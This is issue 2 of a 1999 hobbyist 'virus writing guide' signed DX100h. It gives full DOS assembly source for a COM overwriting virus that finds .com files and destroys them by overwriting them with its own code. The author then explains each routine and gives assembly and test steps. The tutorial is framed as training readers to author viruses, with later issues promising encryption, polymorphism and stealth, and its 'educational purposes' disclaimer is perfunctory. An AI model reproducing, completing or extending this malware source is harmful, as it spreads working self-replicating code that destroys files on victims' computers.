DX100h VIRUS WRITING GUIDE issue # 2 |
-------------------------------------+
DISCLAIMER: 
I do not assume any responsability of what a person
can make after reading these series of tutorials I am
making it only for educational purposes ;)

ISSUE # 2 DEDIC:
-Dedicated to me,
 wanna put yer name here ???
 just send me 9.9$ ;)
 4 more infoz dx100h@yahoo.com

TABLE OF CONTENTS :

ISSUE #1
I)  INTRODUCTION TO THE VIRULENT WORLD
II) WHY SHOULD I WRITE A VIRII ?
III)BRAIN REQUIREMENTS

ISSUE #2/3/4/5/6/7
1)  REAL STUFF BEGINS
1.1)THE OVERWRITING VIRII
1.2)THE COM APPENDNG VIRII
1.3)THE EXE APPENDING VIRII
1.4)THE COMBO VIRII
1.5)MEMORY RESIDENT VIRII

ISSUE #8/9
2)  COOL STUFF
2.1)ENCRYPTION
2.2)POLYMORPHISM
2.3)DOT DOT & TRANSVERSAL METHODS
2.4)STEALTH
2.5)CODE ARMORING

ISSUE #10
3)  FINAL STUFF
3.1)GREETINGS
3.2)COPYRIGHTS
3.3)FINAL NOTES
3.4)DX100h HISTORY AND INTERVIEW

------------------------------------------------>
1 REAL STUFF BEGINS|
-------------------+
Ok dude if you decided to continue reading my tutorials 
it means that you are a brave man ;) 
and you wanna learn everything about 
virus coding.
I'll begin teaching you the worst and the base of all
viruses: the COM OVERWRITING VIRUS.

->BEFORE CONTINUING BE SURE TO HAVE RALF BROWNS' INT LIST<-

------------------------------------------------>
1.1 THE OVERWRITING VIRUS|
-------------------------+

Here's the code of a shitty virii that overwrites a file
and after doing this displays a message:

------------------------[CUT HERE]----------------------------------

code segment
assume cs:code,ds:code
org 100h
virus proc near

find_first:
mov ah,4eh

find_second:
xor cx,cx
lea dx,com
int 21h
jc quit

open:
mov ax,3d02h
mov dx,9eh
int 21h

write_yerself:
xchg bx,ax
mov ah,40h
mov cx,offset lamer-offset find_first
lea dx,find_first
int 21h
mov ah,3eh
int 21h

quit:
mov ah,09h
mov dx,offset message
int 21h
int 20h

com db '*.com',0
message db 'Lo user ! I am the virus made for DX100h tutorial numer 2',10,13,'$'
lamer label near
virus endp
code ends
end find_first

------------------------[CUT HERE]----------------------------------

Now compile it using TASM and TLINK after doing this get a floppy
disk put it in the driver and format it, then copy the compiled virus 
in the disk with a com file (not command com) and the run the virii
if you haven't any com file with this file should come a file called
victim to use in this case as the victim file for the virus.
Ok now i will explain the virus routine per routine :

find_first:
mov ah,4eh

find_second:
xor cx,cx
lea dx,com
int 21h
jc quit

Find_first & find_second find the first file in the current directory
(mov ah,4eh) with normal attributes (xor cx,cx) and com extension
(lea dx,com) if no files found then quit.

open:
mov ax,3d02h
mov dx,9eh
int 21h

Found a file ??? Yes ? ok now open it in read write mode
(mov ax,3d02h & mov dx,9eh)

write_yerself:
xchg bx,ax
mov ah,40h
mov cx,offset lamer-offset find_first
lea dx,find_first
int 21h
mov ah,3eh
int 21h

Ok now that we opened the file we should infect it, right ?
We should have the file handle in ax, so we move it in bx (xchg bx,ax)
then we call the function 40h (have u ralf browns' ?) and we select the amount
of bytes to write (mov cx,offset lamer-offset find_first) and we give to the
virus how to begin writing from (lea dx,find_first), done all this shit we
close the file (mov ah,3eh).

quit:
mov ah,09h
mov dx,offset message
int 21h
int 20h

We call the function for text display (mov ah,09h) and the text offset 
(mov dx,offset message) then we quit the virus (int 20h)

com db '*.com',0
message db 'Lo user ! I am the virus made for DX100h tutorial numer 2',10,13,'$'

These are the offset that the virus will look for during the execution,
offset com specifies what kind of files we should infect, while 
offset message is where the text we want to print out on the screen is
located.

Ok i hope you learned a bit ;) if you have some questions, comments
or you must flame me do it at dx100h@yahoo.com

P.S.
Read every shit you find on the internet about virus coding ;)

-------------------------------------------------->

So be careful in your work and GOOD LUCK

(c)1999,DX100h (dx100h@yahoo.com) ULTIMATE CHAOS  

-WANNA COPY ANY PART OF THIS TEXT FILE ?????-
-DONT ASK FOR PERMISSION, DO IT ANYWAY !!!!!-
-DX100h-